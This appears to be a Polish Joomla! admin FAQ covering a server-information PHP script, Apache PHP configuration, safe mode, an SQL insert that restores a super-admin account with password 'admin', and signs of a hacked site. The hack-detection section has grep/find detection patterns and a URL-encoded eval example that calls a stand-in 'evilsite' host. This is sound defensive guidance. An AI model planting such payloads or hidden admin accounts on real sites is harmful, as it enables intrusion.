Wymienione niżej funkcje PHP uruchomione z pliku PHP, mogą również dostarczyć wielu użytecznych informacji - choć mniej niż wspomniany wyżej phpinfo(). Wiele z nich powinno dać się uruchomić na wielu serwerach, ale niektórzy administratorzy wyłączają część z nich ze względów bezpieczeństwa. Dlatego nie ma pewności, że zawsze dadzą się uruchomić.
Podobnie jak poprzednio utwórz plik z dowolną nazwą ale z rozszerzeniem .php, wklej do niego poniższe linie i prześlij za pomocą FTP na serwer.
<?php echo "Hostname: ". @php_uname(n) .""; if (function_exists( 'shell_exec' )) { echo "Hostname: ". @gethostbyname(trim(`hostname`)); } else { echo "Server IP: ". $_SERVER['SERVER_ADDR'] .""; } echo "Platform: ". @php_uname(s) ." ". @php_uname(r) ." ". @php_uname(v) .""; echo "Architecture: ". @php_uname(m) .""; echo "Username: ". get_current_user () ." ( UiD: ". getmyuid() .", GiD: ". getmygid() ." )"; echo "Curent Path: ". getcwd () .""; echo "Server Type: ". $_SERVER['SERVER_SOFTWARE'] . ""; echo "Server Admin: ". $_SERVER['SERVER_ADMIN'] . ""; echo "Server Signature: ". $_SERVER['SERVER_SIGNATURE'] .""; echo "Server Protocol: ". $_SERVER['SERVER_PROTOCOL'] .""; echo "Server Mode: ". $_SERVER['GATEWAY_INTERFACE'] .""; ?>
Pomocne w określeniu trybu, w jakim pracuje Twój serwer oraz uzyskaniu szeregu informacji związanych z tematem, włącznie z zaleceniami co do konfiguracji mogą być rozszerzenia:
Joomla! Tools Suite (JTS) jest kompletnym zestawem narzędzi do pomocy w problemach związanych z prowadzeniem systemu Joomla!, który zawiera "HISA" script.
Joomla! Health, Installation and Security Audit (HISA) jest pojedynczym skryptem, który dostarcza informacji tylko o konfiguracji.
Pośrednią, ale niepewną metodą ustalenia, w jakim trybie pracuje Twój serwer, jest sprawdzenie możliwości korzystania z pliku .htaccess. Jeśli nie możesz użyć pliku .htaccess na serwerach Apache pracujących na platformie Linux, to oznacza, że Twój serwer pracuje w trybie CGI albo administrator wyłączył .htaccess, nawet jeśli PHP działa jako moduł Apache. Podkreślamy raz jeszcze, że takie pośrednie wnioskowanie nie daje 100% pewności.
Uwaga !!! Usuń wszystkie wyżej wymienione pliki .php służące do uzyskiwania informacji natychmiast po ich wykorzystaniu, informacje przez nie wygenerowane mają istotne znaczenie dla Twojego PHP i dla konfiguracji serwera, a w konsekwencji dla bezpieczeństwa całej Twojej witryny.
Dla tych, którzy chcą wiedzieć więcej, "Jak ..."
Aby skonfigurować Apache do ładowania PHP jako modułu do parsowania twoich skryptów PHP należy zmodyfikować plik httpd.conf, typowo umieszczony w "c:\Program Files\Apache Group\Apache\conf\" lub w "/etc/httpd/conf/".
W tym pliku wyszukaj sekcję, która zawiera serię wykomentowanych deklaracji "LoadModule". (Deklaracje z prefiksem "/#" są wykomentowane). Jeżeli PHP działa w trybie "Apache Module" powinieneś zobaczyć coś bardzo podobnego do poniższej linii;
LoadModule php4_module "c:/php/php4apache.dll"
Dla PHP5
LoadModule php5_module C:/php/php5apache2.dll
albo (platformy niezależne)
LoadModule php5_module /usr/lib/apache/libphp5.so
Dla PHP4
LoadModule php4_module libexec/libphp4.so
albo (platformy niezależne)
LoadModule php4_module C:/php/php4apache.dll
oraz
AddModule mod_php4.c
albo
AddModule mod_php5.c
Dla PHP5
LoadModule php5_module C:/php/php5apache2.dll
albo (platformy niezależne)
LoadModule php5_module /usr/lib/apache/libphp5.so
Dla PHP4
LoadModule php4_module libexec/libphp4.so
albo (platformy niezależne)
LoadModule php4_module C:/php/php4apache.dll
oraz
AddModule mod_php5.c
albo
AddModule mod_php4.c
Uwaga:
Nie martw się, że nie możesz znaleźć gdziekolwiek w systemie pliku "mod_php4.c" albo "mod_php5.c". Ta dyrektywa nie zmusza Apache do wyszukiwania plików w Twoim systemie. Dla ciekawych; specyfikuje ona kolejność, w jakiej różne moduły są ładowane przez serwer Apache.
Jeżeli używasz
Apache 2,x nie musisz wklejać dyrektywy AddModule, nie jest ona w tej wersji potrzebna. Apache 2,x posiada swoją wewnętrzną metodę określania kolejki ładowania modułów.
Teraz znajdź w tym pliku sekcję "AddType", i dodaj następującą linię po ostatniej deklaracji w "AddType"
AddType application/x-httpd-php .php
Jeżeli potrzebujesz włączyć inne typy plików jak "AddType", po prostu dodaj je do listy jak niżej;
AddType application/x-httpd-php .php3 AddType application/x-httpd-php .phtml
Uruchom sprawdzenie błędów i jeśli wszystko jest prawidłowo, restartuj Apache...
Aby skonfigurować PHP jako CGI ponownie musisz zmienić plik httpd.conf, ale najpierw sprawdź czy wyżej wymienione ustawienia nie są już skonfigurowane, zanim będziesz wiedzieć, co robisz, możesz wygenerować sobie błędy "HTTP 500". Wyszukaj w httpd.conf sekcji "ScriptAlias"
Dodaj następującą linię poniżej ScriptAlias dla "cgi-bin".
Uwaga:
Położenie będzie zależało od tego, gdzie PHP zostało zainstalowane na Twoim serwerze, powinieneś zamienić odpowiednią ścieżkę w miejsce "c:/php/" (np. na "c:/Program Files/php/").
ScriptAlias /php/ "c:/php/"
Apache ponownie musi być skonfigurowane dla typu PHP MIME. Wyszukaj sekcję "AddType" i dodaj po niej następującą linię;
AddType application/x-httpd-php .php
Podobnie jak w przypadku działania PHP jako modułu Apache, możesz dodać rozszerzenia, jakie chcesz, które Apache rozpozna jako skrypty PHP, takie jak;
AddType application/x-httpd-php .php3 AddType application/x-httpd-php .phtml
Następnie będziesz musiał "powiedzieć" serwerowi żeby uruchamiał PHP za każdym razem, gdy napotka skrypt PHP. Dodaj następującą linię po istniejących wejściach w sekcji "Action"
Action application/x-httpd-php "/php/php.exe"
Jak zauważyłeś używaliśmy odniesienia "ScriptAlias", część "/php/" będzie rozpoznawana jako scriptAlias skonfigurowany jak wyżej, to jest rodzaj aliasa ścieżki, który będzie korelował z Twoją instalacją PHP uprzednio skonfigurowaną. Innymi słowy nie wklejaj w tę dyrektywę "c:/php/php.exe" lub "c:/Program Files/php/php.exe" wklej;
"/php/php.exe",
Apache PRZETWORZY to jeżeli zostało prawidłowo skonfigurowane.
Ta sekcja odnosi się do wszystkich użytkowników, bez względu na to, czy załadujesz PHP jako moduł czy jako skrypt CGI.
Jeśli chcesz spowodować, aby serwer www uruchamiał domyślnie najpierw skrypt php, musisz w pliku "httpd.conf" zmodyfikować odpowiednio deklarację DirectoryIndex, definiującą nazwę pliku, który jest zwracany, gdy żądanie klienta nie zawiera nazwy pliku. Odszukaj linie rozpoczynające się "DirectoryIndex" i dodaj "index.php" do listy plików po tej linii. Na przykład, linię:
DirectoryIndex index.html
zmień na
DirectoryIndex index.html index.php
jeśli chcesz, aby pliki .html, były wykonywane przed plikami .php
albo
DirectoryIndex index.php index.html
jeśli chcesz, aby pliki .php, były wykonywane przed plikami .html
Następnym razem, kiedy uzyskasz dostęp do witryny albo katalogu w witrynie bez nazwy pliku, Apache będzie automatycznie odczytywać najpierw "index.php", jeśli jest dostępny, albo "index.html", jeśli "index.php" nie będzie dostępny.
Przegląd
Włączenie bezpiecznego trybu (safe_mode=ON) jest niepotrzebne, jeśli zostaną podjęte inne, pewniejsze środki ostrożności. Stosowanie bezpiecznego trybu jest złym kompromisem w złej sytuacji. Może mieć sens w pewnych okolicznościach, ale prawie zawsze są lepsze metody ochrony witryn. Ponieważ bezpieczny tryb daje raczej tylko pewną iluzję bezpieczeństwa, począwszy od wersji 6.0 zostanie z PHP usunięty
Joomla! działa zarówno z PHP w bezpiecznym trybie, jak i przy wyłączonym trybie bezpiecznym. Wyjątkiem od tej reguły są skrypty instalacyjne. Dzieje się tak, ponieważ w bezpiecznym trybie rozmyślnie są wyłączone funkcje pozwalające na łatwe wczytywanie plików przez przeglądarkę internetową. Jeśli używasz bezpiecznego trybu, a konieczne jest przeprowadzenie instalacji za pomocą przeglądarki internetowej, wyłącz chwilowo safe_mode, a po zakończeniu instalacji przywróć stan ON (włącz).
Niektóre rozszerzenia innych zespołów projektowych niż Centrum Joomla! mogą wymagać funkcji blokowanych przez bezpieczny tryb. Takie rozszerzenia warto przeanalizować i ocenić powody, dla których wymagają one funkcji potencjalnie niebezpiecznych.
Z oficjalnej witryny PHP
"Tryb bezpieczny (ang. safe mode) jest próbą rozwiązania problemów bezpieczeństwa na współdzielonym serwerze. Co prawda rozwiązywanie ich na poziomie PHP nie jest najlepszym rozwiązaniem, ale jeśli nie ma możliwości zrobienia tego na poziomie serwera www lub systemu operacyjnego, na wielu serwerach, zwłaszcza u usługodawców internetowych, używa się trybu bezpiecznego."
Więcej informacji
W pliku /includes/version.php poszukaj:
/** @var string Whether site is a production = 1 or demo site = 0 */ var $SITE = 1; /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */ var $RESTRICT = 0;
Dla witryny prezentacyjnej (demo) zalecane są następujące ustawienia:
/** @var string Decyduje, czy witryna jest produkcyjna = 1 czy prezentacyjna (demo) = 0 */ var $SITE = 0; /** @var string Decyduje o ograniczeniu funkcjonalności do niezbędnych w witrynie demonstracyjnej. 0 jest ustawieniem domyślnym */ var $RESTRICT = 1;
$SITE = 0 // Umożliwia logowanie się wielu użytkowników na jedno konto. Domyślnie: Joomla! // Otwiera tylko jedną aktywną sesję dla konta ze względu na bezpieczeństwo
$RESTRICT = 1 // Wyłącza możliwość zalogowania się na stronie frontowej i zapleczu // oraz zmiany szczegółów konta użytkownika takich jak hasło i nazwa użytkownika (login)
Takie ustawienia zastosowano na oficjalnej stronie demonstracyjnej http://demo.joomla.org
Dodatkowo wszystkim plikom i folderom należy zmienić uprawnienia tak, aby zapisywanie było niemożliwe, szczególnie dotyczy to pliku configuration.php. Zalecane jest również automatyczne odświeżanie bazy danych za pomocą cron (w przypadku http://demo.joomla.org co 60 minut)
Wstęp
Metoda opisana niżej powinna być stosowana do względnie niewielkich modyfikacji, takich jak zmiany w menu lub do ograniczonej reorganizacji zawartości sekcji. Zadania bardziej kompleksowe, jak instalowanie nowych komponentów czy poważniejsze zmiany w ustawieniach konfiguracji, zawsze należy przeprowadzać i testować najpierw w środowisku przeznaczonym do celów testowych. Takie podejście nie tylko zapewnia ciągłe działanie strony publicznej (produkcyjnej), ale pozwala na pracę w bez presji czasu, co przyczynia się do zmniejszenia ilości popełnianych błędów. Najprostszym sposobem utworzenia instalacji testowej jest utworzenie subdomeny (np. testowa.moja_witryna.com), zainstalowanie tam systemu Joomla!, w taki sposób, jak go zainstalowałeś na witrynie publicznej.
Wskazania
1. Zaloguj się do panelu administratora (PA) i wybierz: Witryna > Konfiguracja.
2.W pierwszym wierszu jest opcja wyłączania witryny, zaznacz w niej "Tak" i zapisz to ustawienie. Teraz po wejściu na adres strony zobaczysz następujący komunikat:
"Witryna jest w trakcie prac konserwacyjnych. Zajrzyj później"
wraz z formularzem logowania. Zawartość witryny jest niedostępna dla gości.
3. Po zalogowaniu się do zaplecza i dokonaniu (niewielkich) zmian, zawsze możesz zobaczyć jak obecnie wygląda strona po wybraniu podglądu "Podgląd".
4. Po zakończeniu zmian ustaw opcję wyłączania witryny (pkt 2) na "Nie" i zapisz to ustawienie.
Pomocy! Moja witryna została zhakowana! Co zrobić?
Szczegółowy opis postępowania po włamaniu znajdziesz w artykule na www.joomla.pl
Ponieważ ze względów bezpieczeństwa hasła przechowywane są w bazie danych w postaci zaszyfrowanej, ich odzyskanie jest niemożliwe, ale możliwe jest usunięcie starego hasła i zastąpienie go nowym (zresetowanie).
Hasło można zwykle zresetować, korzystając z funkcji udostępnionej w menu witryny albo w module Logowanie. Wystarczy wówczas wybrać opcję nazwaną standardowo Nie pamiętam hasła, wywołującą formularz, w którym podajemy swoją nazwę użytkownika i adres e-mail, by otrzymać pocztą elektroniczną łącze do strony, na której możemy ustanowić nowe hasło.
Jeśli skorzystanie z tej drogi nie jest możliwe, np. po ataku włamywaczy, konieczne jest najpierw ustalenie nowego hasła w bazie danych, a następnie - po zalogowaniu się - zmiana w edytorze konta głównego administratora. Ten drugi etap jest szczególnie ważny, ponieważ Joomla! dodatkowo koduje hasła.
Każdemu może przytrafić się jeszcze trudniejsza sytuacja - utrata konta głównego administratora. Teoretycznie zdarzyć się nie powinna - jedynego (ostatniego) konta głównego administratora usunąć za pomocą narzędzi zaplecza nie można. Praktyka poucza wszakże, że "niewiedza potrafi czynić cuda".
Korzystając z poniższej instrukcji założysz konto superużytkownika w bazie danych witryny Joomla 2.5 - 3x
Korzystając z poniższej instrukcji założysz konto superużytkownika w bazie danych witryny Joomla 1.5
Korzystając z poniższej instrukcji założysz konto superużytkownika w bazie danych witryny Joomla 1.0
INSERT INTO `jos_users` VALUES (58, 'Administrator2', 'admin2', 'your-email@email.com', '21232f297a57a5a743894a0e4a801fc3', 'Super Administrator', 0, 1, 25, '2008-09-28 00:00:00', '2008-09-28 00:00:00', '', ''); INSERT INTO `jos_core_acl_aro` VALUES (10,'users','58',0,'Administrator2',0); INSERT INTO `jos_core_acl_groups_aro_map` VALUES (25,'',10);
5. Zaloguj się na zaplecze używając loginu "admin2" i hasła "admin".
6. Zmień nazwę i hasło głównego administratora na bezpieczniejsze oraz dokonaj innych potrzebnych zmian.
Sprawdź aktywne procesy Używaj polecenia ps, aby przejrzeć dziwne lub nieznane procesy. Jeżeli nie jesteś pewny, czego szukać, daj polecenia netstat -ae | grep irc i/lub netstat -ea | grep 666 i szukaj portów 6666, 6667, 6668, 6669, to są zwykle porty używane przez działające boty IRC, mają nazwę irc wylistowaną obok, lub mogą mieć httpd lub czasami inne stosowane nazwy usług.
Sprawdź tabelę programów typu cron
Sprawdź tę tablicę i zobacz, czy są dziwne wejścia - są one używane przez wiele eksploitów do restartu botów IRC, nawet wtedy, gdy stosowane są procesy administratora lub automatyczne, do likwidacji nienormalnych procesów.
Sprawdź ukryte pliki lub katalogi
Wyszukuj ukryte pliki lub katalogi, które są niewidoczne, zaczynają się one "." (kropkami), szukaj także takiego zestawu". " (kropka, spacja) często stosowane, aby próbować wykryć wyszukiwania ukrytych katalogów.
A to inne przykłady wyszukiwań, które mogą pomóc odkryć eksploity i/lub nieoczekiwane pliki i foldery:
find /home -type f | xargs grep -l MultiViews find . -type f | xargs grep -l base64_encode <<< to może generować fałszywe alarmy, jest to poprawny kod w wielu skryptach graficznych/pocztowych find . -type f | xargs grep -l error_reporting find / -name "[Bb]itch[xX]" find / -name "psy*" ls -lR | grep rwxrwxrwx > listing.txt
Atakujący czasami ukrywają kod przed ciekawskimi przez [kodowanie URL - URL Encoding], zwane też kodowaniem procentowym.
Celem takiego kodowania jest przesłanie przez URL znaków niekompatybilnych właśnie z URL. Istnieje wiele uczciwych powodów, by tak robić, np. ukrywanie adresu email przed spamerami, rozwiązywanie problemu ze spacjami w nazwach plików itp. itd...
Jednakże, jeżeli zauważysz w plikach swojej strony dziwny tekst zakodowany w URL, natychmiast powinieneś wszcząć śledztwo. Tekst kodowany w URL jest bardzo łatwy do przetłumaczenia, za pomocą PHP, javascriptu czy wielu bezpłatnych translatorów w sieci.
Niżej kilka prostych, niefunkcjonalnych przykładów tekstu kodowanego w URL (URL encoded)
Tekst oryginalny | Zakodowany w URL |
---|---|
this line has spaces | this%20line%20has%20spaces |
eval(evil_script(http://www.evilsite/?evilscript.pl")); | %65val%28%65%76il_%73cri%70t
%28%68tt%70%3A//%77%77%77. %65%76il%73ite/%3F%65%76il%73 cript.%70l%22%29%29%3B |
Zasoby